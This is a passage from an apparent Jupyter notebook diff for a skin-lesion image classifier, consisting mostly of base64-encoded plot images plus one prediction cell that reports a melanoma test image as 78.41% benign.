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",
+            "text/plain": [
+              ""
+            ]
+          },
+          "metadata": {
+            "needs_background": "light"
+          },
+          "output_type": "display_data"
+        }
+      ],
+      "source": [
+        "predict_image_class(\"data/test/melanoma/ISIC_0013767.jpg\", m)"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": 36,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 355
+        },
+        "id": "PaNqQ5HcyXVa",
+        "outputId": "88d3f30e-b28f-42bb-cc4e-4a52064f9331"
+      },
+      "outputs": [
+        {
+          "name": "stdout",
+          "output_type": "stream",
+          "text": [
+            "1/1 [==============================] - 0s 50ms/step\n"
+          ]
+        },
+        {
+          "name": "stderr",
+          "output_type": "stream",
+          "text": [
+            "WARNING:matplotlib.image:Clipping input data to the valid range for imshow with RGB data ([0..1] for floats or [0..255] for integers).\n"
+          ]
+        },
+        {
+          "name": "stdout",
+          "output_type": "stream",
+          "text": [
+            "[[0.21590327]]\n",
+            "0.21590327\n",
+            "This image is 78.41% benign.\n"
+          ]
+        },
+        {
+          "data": {
+            "image/png": "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